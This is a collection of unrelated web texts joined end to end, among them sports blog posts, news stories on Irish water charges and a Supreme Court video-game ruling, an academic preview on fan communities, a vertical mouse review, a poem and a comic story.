quarterback-desperate Texans, scraping for pigskin-slinging talent to lead their beleaguered offense, pull the trigger on Denver Broncos one-hit wonder Brock Osweiler to the tune of a four-year, $72 million deal. Osweiler shockingly, yet kind of expectedly then shits the starting bed so badly that the Texans’ top offseason priority becomes ridding the team of this 6-foot-7 waste of cash. They’d eventually trade him to the Cleveland Browns with a second-round tax — confirming they were willing to let go of an actually valuable second-round NFL Draft position just to rid themselves of Brock. Fast forward to September of 2017 and Brock is back in Denver, riding the pine behind 2015 seventh-round pick Trevor Siemian. Call it six degrees of Kevin Bacon, if you will. Back to the Texans, who then had to replace Osweiler. With the 12th pick in the 2017 NFL Draft, having already passed on a bevy of unspectacular veteran free agent quarterbacks, Houston drafts Clemson star Deshaun Watson. The idea was to give Tom Savage (a fourth round pick in the 2014 Draft) the starting load duties while Watson developed on the bench — despite the reality that Savage had ridden the Texans’ bench for three seasons with little experience or acumen. While the stats are nauseating, it was the visual pain of watching this all-around team performance from Houston in the first half of Week 1 against Jacksonville that had viewers asking why. The line was bad, receivers dropped passes, and Savage tiptoed in his Jawwdinz with less precision than Ace Ventura in Pet Detective. Seriously, congratulations on Tom Savage and the actual birth of his daughter Summer Rose Savage. For sports meme purposes, we had to mix up the following photo. We still love you, Tom. Advertisements Like this: Like Loading...Article Preview Introduction Fan communities have long been studied as sites of ideological resistance, audience activity and creative appropriations of mass media (Fiske, 1989; Jenkins, 1992). More recently, scholars aligned with digital media and learning research communities have argued that fans also create valuable informal learning spaces, in which fans learn and practice valuable skills while engaging with a favorite media artifact (Lankshear & Knobel, 2006). Gee (2004) addressed media-based fan communities as “affinity spaces” in which fans of media come together around a common endeavor, bridging identity categories, degrees of expertise, and traditional structures of leadership or status. In these flexible environments, various forms of learning are facilitated through a community’s practices, forms of mentorship, and the sharing of knowledge. Recent affinity space research (Black, 2009; Steinkuehler & King, 2009; Steinkuehler & Duncan, 2008; Duncan, 2010) has illustrated that fan communities are often centered around sophisticated learning practices, in addition to engaging within social communities that may bring them into contact with those very different from themselves. Much of this work has built off of Gee’s (2004) early claims regarding affinity spaces, their characteristics, and their potential power in fostering valuable learning experiences. In a key statement, Gee (2004) argued that: [P]eople who may share little and even differ dramatically on other issues, affiliate around their common cause and the practices associated with espousing it via affinity spaces... Fans of everything (e.g. movies, comic books, television shows, video games, various lifestyle choices) create and sustain affinity spaces (p. 87, emphasis added). However, in this litany of fandoms, Gee (2004) left out star- or celebrity-based fandom, in which everyday fans closely follow the careers of a particular actor, musician, or other creative producer. Star-based fans undertake many of the same practices as other fans: Forming fan websites with forums or chat functions; reading specialized publications such as gossip magazines and blogs; attempting to view, or collect, all of a star’s work; speculating with others about the “real” nature of the star; or even enjoying the “game” of observing how a star is produced (Gamson, 1994). Yet, studies of star-based fandom must also contend with the propensity for aspiration, emulation, or direct imitation of stars. What are the learning and literacy implications of such spaces, and what might we gain from a deeper investigation of affinity spaces that are centered on an individual with agency rather than solely a media artifact such as a game or television series? How does the star’s or celebrity’s intentions affect and shape these spaces, and how does the active management (or cultivation) of them cause us to rethink the means we should use in trying to understand learning and literacy within them? In this paper, we address how our notions of affinity spaces (and the forms of learning that emerge within them) are affected when they are studied in the context of a fandom that celebrates both a media artifact and the star at its center, exploring the intersection of educational literatures regarding informal learning communities with cultural studies approaches used to investigate stardom and media production. In particular, we explore how Gee’s (2003) notion of projective identity takes on new meaning when placed in the dual contexts of star emulation/appropriation and involvement within informal learning communities. Toward this end, we problematize Gee’s (2003) notion of the affinity space and the role of projective identities within them by identifying trends of power and resistance with in popular gaming-related media and their relationships to social and political currents, as well as investigating how a focus on learning within informal fan communities addresses practices found within them.Texas will soon begin paying each of its student-athletes $10,000 a year to cover cost of attendance and likeness rights, athletics director Steve Patterson revealed at a Big 12 college sports forum in Washington on Tuesday. The $10,000 will be split evenly, $5,000 apiece, between cost-of-attendance and payment for the University’s use of the athlete’s name and likeness (the figure U.S. District Judge Claudia Wilken set in her O’Bannon trial ruling in August). (Cost-of-attendance, of course, varies from school to school and, thus, no uniform figure has been set since schools gave themselves the ability to provide COA stipends.) The total for all UT athletes adds up to $6 million a year. “If we begin to [further] remunerate the participants (over and above this figure), that’s going to break that model,” Texas women’s athletics director Chris Plonsky said. Considering that Patterson has been perhaps the most outspoken athletics director against the quote-unquote professionalization of college sports and stated previously that Texas doesn’t have as much money as the public assumes, consider this as a down payment against the future. Though it is assumed every Power Five program will be making similar payments to its athletes, the Longhorns are the first school to formally stick their toes in the water. This Dallas Morning News story does not set a date when UT will actually begin cutting these checks, though one would believe it would have to be soon if the Longhorns were willing to announce it. Texas’ AD said UT will budget $6 million/year to fund full cost-of-attendance scholarships and fund the $5,000/year trust under O’Bannon. — Alicia Jessop (@RulingSports) October 22, 2014 UT’s $6M calculation is one of the 1st available for the cost of funding full COA scholarships & paying athletes for using their likeness. — Alicia Jessop (@RulingSports) October 22, 2014 After speaking with an individual who attended the panel yesterday in Washington, it appears to us that there are a few things that need to happen before the actual checks can be cut… First, “Autonomy” has to be passed, giving the Power 5 conferences the authority to approve these “cost of attendance” payments. That approval is scheduled for January at the earliest is what we were told. Furthermore, the mechanism to make the “deferred compensation” / “name and likeness” part of this isn’t in place either. Additionally, court challenges / appeals (related to the “name and likeness” part) are still ongoing. That all leads us to believe these payments are being budgeted now (for 2015); but won’t likely be made until next school year (Fall 2015) at the earliest. Just our opinion though. Will update if we learn more.A GOVERNMENT minister has admitted there is a "risk" around the new water charges plan passing EU rules. A GOVERNMENT minister has admitted there is a "risk" around the new water charges plan passing EU rules. Communications Minister Alex White said he was confident the cost of water would be kept off the balance sheet by passing the Eurostat test. "Of course there is a risk around whether this will pass the test," he said. When pressed by Sinn Fein's finance spokesman Pearse Doherty on the issue, Min White re-iterated his confidence that the test - which has implications for the €100 conservation grant - would pass. Meanwhile, Taoiseach Enda Kenny is gambling on the majority of householders accepting the new lower water charges package to halt the Coalition's slide in support. Following months of backtracking, the Coalition now insists "reasonable people" will pay the lower bills. In a bid to stop mounting protests across the country, Mr Kenny is also banking on workers seeing a rise in their take-home pay when Budget 2015 tax cuts kick in, which he says will more than compensate for the cost of family water bills. But punitive sanctions will be imposed on householders who refuse to register with Irish Water - costing them €1,600 over the four years of the fixed charge plan. The new water charges package will mean families pay a maximum of €160 a year for the next four years. Read more: Five cash-saving tips to offset the latest charges But those who refuse to pay face being hit with a double charge of €320 each year, coupled with rolling penalties. The new structure of reduced charges will also result in the taxpayer paying an additional €190m in supports to householders and Irish Water. The Government insisted water charges are among the lowest in Europe, and the measures will alleviate pressure on the Coalition in the wake of mounting opposition. Read more: Family vow not to pay for'something that we can't even drink' Anti-water campaigners warned that opposition would continue. Environment Minister Alan Kelly admitted there would still be a cohort of people who would refuse to pay. "We think reasonable people will come with us. We want to give a space for people to consider this," he said. Read more: Landlords required to intervene in boycotts It also emerged yesterday that Mr Kelly had received two new death threats made anonymously to both his Dail and constituency office. Gardai are now investigating four threats made to Mr Kelly's life. Read more: Irish Water told to delete PPS numbers The main points that were announced yesterday include: * Charges will be capped for a single adult household at €160 and at €260 for all others until the end of 2018. * Householders who register will receive an annual €100 Water Conservation Grant, which can be used to reduce bills or install water-saving devices. * But the first €100 grant will not be paid until after September, meaning families will have to meet the costs in the meantime. * Charging will not begin until January next. The first bills will land in April. * The tariff per 1,000 litres has been reduced from €4.88 to €3.70. * Customers with meters who use less than the flat-rate charge will receive a rebate on their bills. * PPS numbers will not be required. All data already received will be deleted under the supervision of the Data Protection Commissioner and independently verified. * A new forum made up of customers will be established to advise on expected service levels. * Landlords will be given powers to withhold tenants deposits to meet unpaid bills. * A referendum will be needed if a future government plans to privatise Irish Water. Read more: Charges, meters and PPS numbers - your water questions answered Fianna Fail leader Micheal Martin said the measures were the "latest of a dozen U-turns and a massive climb-down". But householders who refuse to register will be hit with a default charge of €260 a year - and €60 will also be added to bills for every year of non-payment. Over the course of the four years of the initial water charges plan, this means that unpaid bills and penalties will add up to a total €1,640. Taoiseach Enda Kenny said the water charges package gave "certainty, clarity and predictability". Read more: It's sink or swim time for Kelly's heroes as they wait to see who has won the water war He said the water charges amounted to €1.15 a week for a single person and €3 a week for all other households. Mr Kenny also said the tax cuts in Budget 2015 for an average worker will easily cover the cost of water charges. He said he regretted the "anxiety and concern" the water charges controversy caused. Timeline: Water charges: How it all came to this Legislation will be introduced allowing charges to be capped beyond 2018. It will be introduced before the end of the year. Irish Water and its parent company Ervia welcomed the Government's announcement, saying it had given "much needed clarity" to the public. Its managing director John Tierney again apologised for not responded quickly enough to "legitimate concerns" on a number of issues. The company will now rely on Government subsidies, incomes from bills and borrowings. Irish IndependentSometimes I well up with emotional pain. I feel lost and broken like nothing will ever be the same. Nothing ever has been in life this far for me, but sometimes I feel as if I am lost at sea. I suppose I can say I have always been able to breathe. That centering action has been so good to me, except when I give tone to wind, and I end up saying what I don’t mean. Like a violent wind from far beneath the earth, from hell it would seem. Or poetry, but that never manifests first as spoken word but thought. Chemical unbalance balancing word upon word on page lines that appear to be strait, a word or a claim of sexual identity. Flowing mane I was growing for humanity is gone along with a little vanity, I am less confident without my curling locks. Hard knocks hard knocks hard knocks. Life is full of shock life is full of love too. I love you, but not myself, I am too detached to love all that I experience about myself. I love parts of me, and others do to, but to be loved entirely, that’s something to work to. Look through the sidewalks and pretty shiny cars, we are ruining the energy to ascend to stars, we are what we are, we are what we are. From a far away planet the earth looks so small, and when in its protective sphere we are all to vulnerable. That vulnerability like an insurance contract for the rest of life, since violence begets violence the stronger you are the harder you will be destroyed. Freud oh that fool of Victorian beliefs, would he find it ironic that so many Femanazi’s study psychology? Biology determining so many, chemistry to create ways to manipulate your experience of this cloud world, like depression isn’t symptom of societal decay. It ok, it’s totally ok, everyone picks their poison every single day. The answer isn’t more it is less, it is the bearing of it all, and the exposed forgiven from sin, not from god but from within. If the world will turn with us or without what then. We must complete each other and not compete to win, because winning doesn’t equal having the most or being clean from sin. It means being present and compassionate from the time you begin. If we can’t pass that lesson on and have it stick to our kin, then oh what then… AdvertisementsComputer mice haven’t really changed since they were invented. It’s still a block you move about with your hand in a flat position. However, this twisting of the forearm is unnatural, and frequent mouse users will find they develop wrist pain. The solution is a vertically oriented mouse. It lets the hand rest in a natural state and in my experience is super comfortable. These are readily available for under $30 on eBay, Amazon and Aliexpress, but are often childsize or simply not comfortable enough. After trying about 4 mice I’ve realised who the reigning champion is: Evoluent. I’ve been a happy owner of their VerticalMouse 4 (VM4) for almost a year now. It’s comfortable but a little awkward, and required some modding to really make it good. I’ve been using it interchangeably with my Razer DeathAdder, but definitely use the DeathAdder more. Released in February 2016, the Evoluent VerticalMouse C (VMC) is the company’s next iteration of their flagship product. It comes in wired and wireless versions, and is right handed only for now. If it’s anything like the VM4, a left handed version will follow. I purchased the VMC Right Wired for $150 AUD shipped from B&H to Australia. But how does it stack up against the previous VM4? Is it good enough for gaming? Read on to find out… Look Evoluent has really leapt into this decade with the design of the VMC. The curves are beautiful and complement the ergonomic shape. It practically looks like a spacecraft now, and that’s a good thing! Compared to the VM4, it’s a huge upgrade. Compared to my DeathAdder, it’s quite a difference. The bottom of the mouse is similarly simple, with only the sensor hole, signature, and feet. You can also find promotional shots of the mouse on Evoluent’s page. Feel The VMC has again come into the modern age by replacing the silver plastic with a lovely matte finish. It’s that slightly rougher plastic that you see on mice like the DeathAdder, and it’s very sweat resistant. My VM4 is covered in dried sweat (yuck!) but I don’t see this being a problem with the VMC. The thumb area is the same material, a welcome change from the gloss finish on the previous versions. The silver gloss is now reserved for the side of the mouse you don’t touch, and it looks great. The cable isn’t braided, but it’s not standard either - it has a rubbery finish, almost feels like RC silicone wire. Its very pliable but it also gets in the way as it catches on my mouse pad. I will probably replace this with a donor braided cable. Ergonomics If you’ve never used a vertical mouse before, the VMC would make an excellent introduction. I gave myself fairly serious hand pain from playing far too much Osu and TF2. I eventually realised that sore hands every breakfast was not at all normal. I didn’t think it was possible, but Evoluent has bested the VM4 in almost every aspect. The pinky rest lip is bigger than before and a joy to rest my hand on. The entire mouse feels more fluid, and it’s much more natural to hold. However, the grip is slightly smaller than the VM4. I have large hands, and if I fully grasp the mouse my fingers now extend past the edge of the face. It’s not uncomfortably small - the mouse is still much nicer than the VM4 - but it could be just a little bit bigger. Mousing Buttons I have to start off with this - the VMC has no scroll wheel click. It is instead replaced by the third face button. The extra face button is certainly comfortable, but why remove the scroll click? I imagine it’s harder to press a scroll wheel and it was removed for ergo purposes, but two buttons is better than one. Otherwise, the VMC has a fairly standard button configuration. There’s 2 thumb buttons, scroll wheel, DPI changer and the 3 face buttons. The extra face button is quite comfortable to press with my ring and pinky fingers combined, and it doesn’t feel as awkward as it looks. The thumb buttons are easy to click easy to avoid when you don’t want to click them. The DPI switcher button is conveniently placed, and the LEDs to indicate your current sensitivity are subtle and quickly glanceable. The scroll wheel feels like “upper class office” style - that weird combination of mushy (the good kind) and clicky. Personal preference, but I quite like it. My only real gripe is that Mouse1 requires about half the force to actuate than the other mouse buttons, which resulted in heaps of miss-clicks as I was adjusting to the mouse. Lighter switches are ergonomically superior, but it’s confusing why only 1 of the buttons get this treatment. Lots of buttons are useless without configuration, and Evoluent’s software comes through in spades. Each button can be set to any standard mouse or keyboard button or a pre-recorded macro. Bindings can also be customised on a per-application basis, which is excellent to see. Also included is a break timer to remind you to get off your arse, and “Click lock” and “Auto click” features to reduce strain from clicking things. Tracking Initially I used the VMC on my Goliathus ‘Speed’ edition mouspad. It’s a cloth pad with a smooth surface, and I enjoy it with my DeathAdder. With the VMC it’s unusable. Incredibly slippery. For those who enjoy cloth pads, it’s like switching to a super smooth hard pad - I felt I was tracking on ice. Luckily I bought a Goliathus ‘Control’ by accident some time ago. It’s also cloth but quite rough. It made a huge difference to the feel of the mouse, and tracking now feels good. I’m starting to regain muscle memory with this configuration - headshots and airshots are become more common, and I’m not overshooting on-screen buttons like I was on the Speed. The feet are as smooth, if not smoother than the ones on my DeathAdder. Combined with the vertical stance putting more weight on the mouse, this would explain the slipperiness. I don’t actually know what DPI Evoluent is using for the VMC. There are 2 ways to adjust sensitivity. The first is using the built in Windows sensitivity settings - the Evoluent software doesn’t add any precise control. Additionally, the mouse itself has a DPI button that changes between 4 different sensitivity settings. These are not configurable. This is pretty annoying, because my DeathAdder was set up perfectly. By forcing me to adjust using the Windows DPI settings, I now have to correct the DeathAdder’s sensitivity to compensate, which is a pain. Adding a DPI slider would be a great improvement to the Evoluent software. Unlike standard mice where you actually lift the entire mouse, the most natural way to “lift off” using the VMC is to tilt the mouse to the side and slide with one end still on the mat. The manual even recommends this method, and it’s definitely the most comfortable. However, the liftoff distance of the sensor is quite high, and not configurable. I found myself not lifting far enough and sliding back. After a few days (and swapping mouse pads) it’s getting better, but it’s another pain point to consider when adapting to the new mouse - even if you already own a vertical mouse. Lastly, the mouse updates at 125Hz, but this isn’t a deal breaker for me. Worth mentioning for the 1KHz diehards. I’m just a schmuck on the internet, but I think Evoluent would do well to try and capture the gaming market with a dedicated product. There’s a lot of gamers abusing their hands that probably don’t realise such comfort exists. Teardown Basic disassembly is quite simple. By removing 2 of the mouse feet and 4 screws, the bottom simply falls out, revealing the PCB and ribbon cables to the button assemblies. Having to remove the feet is annoying as ever, as it’s never quite the same when you replace them after disassembly. Replacements aren’t offered yet, but I reached out to Evoluent and they said they’ll sell them soon. Sensor My VM4 was an early model and had an rubbish laser sensor. The VMC (and the VM4 if bought new today) have a huge upgrade - the Avago ADNS-3000. It’s not gaming class, but it’s optical and made by Avago. It uses a Kingsis lens and should be good for up to 2000dpi. I don’t know much about lenses but from what I’ve read the Kingsis seems pretty standard. The date code on the sensor indicates it was manufactured in April 2015. Processor The processor is a Cyprus CY7C64215. Nothing particularly special here, it does what it needs to do. Wrap-up The Evoluent VerticalMouse C is a welcome upgrade over the VerticalMouse 4, and may well be the best ergonomic mouse on the market today. For office use its purchase should be a no-brainer. For gaming it certainly holds its own, and I would definitely consider a purchase if hand pain is a problem for you. However, limited DPI customisation, 125Hz update rate and missing scroll click mean the VMC won’t be ideal for hardcore or competitive gamers. Is it worth $100 USD? It’s a tough purchase, but the answer is simple for me - $100 now or permanent hand pain as I grow old. That it happens to be a great mouse is just a bonus.In a 7-2 decision announced early today, the U.S. Supreme Court decided to defend the Constitutional rights of games. The court struck down the California law from 2005 that would have made selling violent video games to minors illegal, essentially placing the medium into the same category as pornography. The court opinion was written by Justice Scalia. Justices Kennedy, Ginsburg, Sotomayor, Roberts and Kagan agreed. Justices Thomas and Bryer filed dissenting opinions. "The Act does not comport with the First Amendment," reads the decision. "Video games qualify for First Amendment protection. Like protected books, plays, and movies, they communicate ideas through familiar literary devices and features distinctive to the medium. And the basic principles of freedom of speech...do not vary with a new and different communication medium." Given that the courts have not blocked violent content in other mediums, California was unable prove why the interactive nature of video games was different than music and movies. The court was also not persuaded by the evidence provided regarding the psychological impact of games. In fact, the court found it curious California would not include other kinds of media under this law. "Psychological studies purporting to show a connection between exposure to violent video games and harmful effects on children do not prove that such exposure causes minors to act aggressively," said the court. "Any demonstrated effects are both small and indistinguishable from effects produced by other media." The court agreed with the video game industry that the existing self regulatory board, the Entertainment Software Rattings Board, was doing its job--the government wasn't needed. "Banning violent games would have necessitated bans elsewhere," argued the court. "California’s argument would fare better if there were a longstanding tradition in this country of specially restricting children’s access to depictions of violence, but there is none. Certainly the books we give children to read--or read to them when they are younger--contain no shortage of gore." As for the interactive nature of the medium, the court (rather hilariously) pointed to choose-your-own adventure books as evidence that such entertainment already exists. At points, the court--Scalia, specifically--seems to mock the California law. If video games are such a harm, why would California not go further in preventing society from engaging with them? The interactive nature of games was not a compelling argument for most of the court. == TEASER == "The Act is also seriously underinclusive in another respect--and a respect that renders irrelevant the contentions of the concurrence and the dissents that video games are qualitatively different from other portrayals of violence. The California Legislature is perfectly willing to leave this dangerous, mind-altering material in the hands of children so long as one parent (or even an aunt or uncle) says it’s OK. And there are not even any requirements as to how this parental or avuncular relationship is to be verified; apparently the child’s or putative parent’s, aunt’s, or uncle’s say-so suffices. That is not how one addresses a serious social problem." That ultimately became one half of the court's real problem with California's proposal. If this is a serious social harm, the law doesn't go far enough, as it doesn't restrict other mediums. Combined with the potential infringements on First Amendment rights, it had to be struck down. "The overbreadth in achieving one goal is not cured by the underbreadth in achieving the other," the court concluded. "Legislation such as this, which is neither fish nor fowl, cannot survive strict scrutiny." In Justice Alito's concurrence, however, he voiced some disagreement, wondering why the court would be so quick to believe a new medium deserves the same protections as the old ones. "We should make every effort to understand the new technology," said Alito. We should take into account the possibility that developing technology may have important societal implications that will become apparent only with time. We should not jump to the conclusion that new technology is fundamentally the same as some older thing with which we are familiar. [...] There are reasons to suspect that the experience of playing violent video games just might be very different from reading a book, listening to the radio, or watching a movie or a television show." The ESRB is enough of a self-regulatory body, argued the majority's opinion. In fact, Alito left the door wide open for another challenge. "I would hold only that the particular law at issue here fails to provide the clear notice that the Constitution requires," said Alito. "I would not squelch legislative efforts to deal with what is perceived by some to be a significant and developing social problem. If differently framed statutes are enacted by the States or by the Federal Government, we can consider the constitutionality of those laws when cases challenging them are presented to us." While Alito sided with the majority (with a critique), Justice Thomas and Justice Breyer were the two dissenting votes. Thomas argued that, back to the founders, children require special treatment. For several pages, Thomas performs a history lesson of the country's prior views of raising children. Thomas believed the California law hardly infringed upon First Amendment rights. "All that the law does is prohibit the direct sale or rental of a violent video game to a minor by someone other than the minor’s parent, grandparent, aunt, uncle, or legal guardian," said Thomas. "Where a minor has a parent or guardian, as is usually true, the law does not prevent that minor from obtaining a violent video game with his parent’s or guardian’s help. In the typical case, the only speech affected is speech that bypasses a minor’s parent or guardian. Because such speech does not fall within 'the freedom of speech' as originally understood, California’s law does not ordinarily implicate the First Amendment and is not facially unconstitutional." Breyer's dissent cites numerous psychological studies favoring that games cause more harm than other media. In the majority opinion, the court rejected California's claims to this. "This case is ultimately less about censorship than it is about education," wrote Breyer. "Our Constitution cannot succeed in securing the liberties it seeks to protect unless we can raise future generations committed cooperatively to making our system of government work. Education, however, is about choices. Sometimes, children need to learn by making choices for themselves. Other times, choices are made for children--by their parents, by their teachers, and by the people acting democratically through their governments. In my view, the First Amendment does not disable government from helping parents make such a choice here--a choice not to
in the summer. AC Milan moved to take Suso in the January transfer window for a nominal fee instead, bringing an end to his five year association with the Reds. Playing Style Edit Suso's playing style has been likened to such stars as Manchester City's David Silva and Barcelona's Andres Iniesta. He is a tricky, technically gifted attacking midfielder who likes to drop in behind the strikers and can busy opposition defences with flair and ingenuity. He also has the ability sit deep and dictate the pace of games using both a long and short range of passing. In the 2011-12 season however, Suso was utilised more on the right wing by the Reserves, making use of his ability to cut inside and use his cultured left foot for shots. It took him time to adapt to this new role, though he did eventually grow into it well. Stats Edit Season League FA Cup League Cup Europe Other Total Apps Goals Apps Goals Apps Goals Apps Goals Apps Goals Apps Goals 2012-13 14 0 1 0 1 0 4 0 0 0 20 0 2013-14 0 0 0 0 0 0 0 0 0 0 0 0 2014-15 0 0 0 0 1 1 0 0 0 0 1 1 Total 14 0 1 0 2 1 4 0 0 0 21 1 Notes EditI’m a little late to the game here, but I just found out about Banksy. Like, I had heard the name Banksy before, but that was about it, I never asked myself, who is Banksy? Why do I keep seeing his name popping up on the Internet? I never clicked through any of those links. And then a couple of weekends ago my brother was talking about Banksy and, not wanting to feel out of the loop, I did my best to pretend like I knew exactly what I was talking about, all while trying to steer the conversation toward another topic. But now I know about Banksy. I mean, I still haven’t clicked on any links, but I get it, he’s a graffiti artist. He made some sort of a documentary. And nobody knows who he is. He’s like Batman, but without any of the crime-fighting. Actually, if you think about it, he’s actually a part of the problem, defacing public space. Whatever, I’m not going to get into an argument about right and wrong. Even though I think that’s it wrong. Not that he’s doing it, but that it didn’t work for me. I heard that this guy was making millions of dollars, this whole mystery artist walking around town drawing little pictures of miniature men next to fire hydrants, I don’t get the appeal, of the art that is, I do get the appeal of the cash. That’s why it appealed to me. That’s why I tried to get out there and tell everybody that I was Banksy. It made perfect sense, I mean, this guy doesn’t reveal his identity, and so I figured that all I had to do was study his drawings enough to make my own convincing Banksy-style replicas, and instead of fleeing into the shadows after I finished a piece, I’d turn around, I’d be wearing a hooded sweatshirt and a pair of sunglasses, I’d wait for the crowd to get really big, I’d even call the cops on myself, I’d be like, “Hello, police? There’s some guy spray-painting graffiti …” and then just as they’d come to handcuff me, I’d rip off the sweatshirt, I’d be wearing a t-shirt that said, “Banksy!” just, you know, to really drive home the point, and I’d scream out, “It’s me! I’m Banksy!” But getting a crowd to gather, it’s not as easy as just wearing a bunch of clothes from Urban Outfitters and crouching down to tag a building. No, and I was just testing the waters, just kind of taking out the cans, I hadn’t even started painting yet, but nobody was looking at me, nobody stopped and said, “Are you Banksy?” No, not with the paint cans lined up in front of me, not when I started aggressively shaking the cans up and down, over and over again, each time the metal ball inside of the can hit the end I heard it as, “Bank – sy – Bank –sy.” And finally, he wasn’t a cop, but he was some sort of a security guard, he came outside of the building and stood like a foot away from me. He didn’t say anything, he didn’t have to, he was just staring right at me, he had his security guard radio in his hand. It was like he was waiting for me to make a move. Well, a move further than just shaking the can up and down. This went on for like a minute or two, finally I stopped shaking this one can, I held it out in front of me and slowly took off the top. The security guard remained unmoved, just watching me. I thought, OK, a game of chicken, huh? It’s not like this guy was a real cop or anything, and so I was game. I brought the can slowly to the wall, really slowly, like if this guy was going to make a move, I wanted to see just where that line was. But nothing. Maybe this guy was a fan. Maybe he would be the first person to witness me successfully steal the Banksy name. Something had to happen, so finally I was like two inches away from the wall, and I made the smallest spray, I had the nozzle pressed down for less than a second. And that was it, the security guard wasn’t a fan, he kicked into action, that radio was out and he was shouting something, vandalism, graffiti, call the police. I panicked, I dropped the can, I didn’t even have a minute to pick anything up, I just screamed out, “I am Banksy!” as I booked it out of there. And like three blocks, four blocks away, nobody was following me, I thought, if this guy’s really anonymous, how is he so rich? What if the police come and they dust my spray-paint can for prints, do I have to have my fingerprints already in the system to be identified? Should I commit some small infraction so the cops can link me to the paint? Could this still work out in my favor? But then I thought about buying more spray-paint, about how it was so annoying the first time around, I went to this auto-parts store, all of the spray-paint was behind this cage on aisle seven, and I had to have a manager come out from around the back to unlock it. He was so impatient, he was just like, “Pick a color so I can get back to my job,” and I just wanted a minute, to think about which one I should buy, and this guy was so pushy, so I just chose like a royal blue, a sun-kissed yellow. I don’t know, I don’t really feel like going back, spending more money. I’ll just let Banksy be Banksy, for now, I guess.Please enable Javascript to watch this video OVERLAND PARK, Kan. -- Three minutes can save a life. That's the message during National Eating Disorders Awareness Week. It takes three minutes to complete an online screening to see if you're at risk. The National Eating Disorders Association is offering the free, anonymous screening. "It's a great first step for them to come to terms with they might have an eating disorder," said Tanja Haaland, program director of the Eating Disorder Center of Kansas City. Haaland said people often fail to see the severity of the issues. She said that's especially true with orthorexia, an obsession with clean or healthy eating. "One of the most common things we hear is, 'Well, healthy eating is what we're supposed to do. Exercising is good for me'," said Haaland. But not in the extreme. Haaland said catching problems early can save lives. "The longer an individual goes on with their eating disorder, the higher the risk they are for medical complications. Eating disorders have the highest mortality rate of any psychiatric illness, so we want to make sure individuals are getting the treatment they need and deserve," she said. If indicated, the screening provides referrals for treatment which is the next step toward recovery. Haaland emphasized that screening is for females and males of any age. She said in the past year, she's had two patients in their sixties with eating disorders. The National Eating Disorders Association also offers a live helpline Monday through Thursday from 8 a.m. to 8 p.m. and Friday from 8 a.m. to 4 p.m. Call 800-931-2237.Mafia Law Used Against Environmentalists for Tree Sits, Civil Disobedience, Blog Post Two environmental activists in Bloomington, Ind., have been charged with racketeering–charges originally intended to target the mob–for allegedly “conspiring” to engage in tree sits, participate in non-violent civil disobedience, and make an inflammatory blog post. Hugh Farrell and Gina “Tiga” Wertz are organizers in the campaign to halt expansion of the I-69 NAFTA superhighway. They were arrested on Friday, April 24th, and they’re each facing five charges that carry a maximum of eight years in prison. Four of the charges are misdemeanors for “intimidation” and “conversion” (treating someone else’s property as your own). All four misdemeanors are related to a civil disobedience stunt where some activists removed the furniture from an I-69 project office, occupied the space, and posted an eviction notice. The government says the civil disobedience stunt was intended to place Ronnie Wilson in fear, and subject him to “contempt or ridicule.” The felony charge is for corrupt business influence, or racketeering. The government isn’t arguing that these activists were actually engaged in racketeering, but that they are part of Roadblock EarthFirst (described as a criminal enterprise) and “conspired” to do so. According to their arrest warrants, Farrell and Wertz: “Conspired” to remove office furniture from I-69 project offices as part of eviction notice stunts. “Conspired” to post an “internet blog on two publicly accessed website stating ‘you will suffer the consequences’ and ‘perhaps we’ll go to your homes, children’s daycare, churches or wherever else you happen to turn your back.” The blog posts were made after the violent removal of activists from a tree sit. “Conspired” to commit “theft” when six individuals blocked the entrance to Gohmann Asphalt and Construction Company using non-violent civil disobedience and caused a loss of profits. “Conspired” to commit “theft” by “taking unauthorized control of trees” and “depriving lawful owners of use and/or value of the said trees.” (Note: the last two bullets are only in Wertz’s arrest warrant.) Racketeering laws are intended to combat organized crime, such as the mafia, and include crimes like extortion, bribery and money laundering. Although ambitious prosecutors have tried to use the Racketeer Influenced and Corrupt Organizations Act (RICO) to target anti-abortion activists, animal rights activists, and the Hells Angels, the purpose of the law has always been to go after illegal business activity. But these activists, and others like them, are not protesting this superhighway to make money. They’re not doing it for personal gain. Halting this environmental destruction will not financially benefit them in any way. Then why use mob laws against them? Because of their beliefs. Tree sits, office takeovers and road blockades are against the law, and the government has the tools and resources to prosecute those crimes. But because of the politics of the alleged crimes, prosecutors are reaching for more. Civil disobedience has become “theft.” Tree sits have become “unauthorized control of trees.” These trumped-up charges are a way to take what are, at the very worst, misdemeanor crimes and turn them into federal crimes. It’s an attack on individuals perceived as being leaders in the movement for the sole purpose of stamping out dissent. A support website for Hugh Farrell and Gina “Tiga” Wertz has been set up at http://mostlyeverything.net.No team was happier to see David Ortiz walk away than the Toronto Blue Jays. The man known as Big Papi hit more homers (62) and drove in more runs (192) against the Blue Jays in his amazing career than he did against any other ballclub, a resume that’s enhanced even further by 41 round-trippers at the Rogers Centre alone. While Jays arms will be relieved to know they won’t have to deal with Ortiz when they battle the Boston Red Sox 19 times this season, he wasn’t the only Blue Jays’ nemesis. Here are 10 active Jays killers to keep an eye on this season: 10. RHP Jake Odorizzi, Tampa Bay Rays:.203 average against Of all the American League East pitchers who could give the Jays trouble, Odorizzi has been the stingiest, holding Toronto bats to a paltry.203 batting average over 66.1 innings. It hasn’t been perfect — he’s given up nine home runs — but the 27-year-old righty has posted a solid 3.26 ERA against the birds in blue, better than his 3.75 career mark. His teammate, centre fielder Kevin Kiermaier, has also experienced a bunch of success against the Jays early in his career, with the second-best active career average against Toronto (.335) and an.877 OPS (on-base plus slugging) in 175 plate appearances. 9. 1B Eric Hosmer, Kansas City Royals:.331 batting average Twelve active players have.300 or better career averages when facing the Blue Jays, and Hosmer sits third on that list behind only Kiermaier and a name you’ll find closer to the top of this list in Albert Pujols (.340). In 160 at-bats, the Royals’ 27-year-old first sacker has touched grass 53 times, with 12 of those hits going for extra bases. WATCH FOR OUR 10 MLB TOP 10s IN 10 DAYS MARCH 20: Top 10 breakout pitchers MARCH 21: Top 10 Blue Jays prospects who could contribute in 2017 MARCH 22: Top 10 breakout hitters MARCH 23: Top 10 active Blue Jays killers MARCH 24: Top 10 Canadians in MLB MARCH 27: Top 10 Cy Young candidates MARCH 28: Top 10 reasons to be optimistic about 2017 Jays MARCH 29: Top 10 MVP candidates MARCH 30: Top 10 talents the Blue Jays employ MARCH 31: Top 10 players worth the price of admission 8. 3B Manny Machado, Baltimore Orioles:.904 OPS One of the premier talents in the game today, Machado, like most of the names on this list, is a thorn in everyone’s side. Machado’s.904 OPS against the Jays places him eighth amongst active players, and he’s nowhere near the prime of his career yet as he approaches the age of 25. Machado is going to be peppering major league pitching for a long, long time. 7. OF Mike Trout, 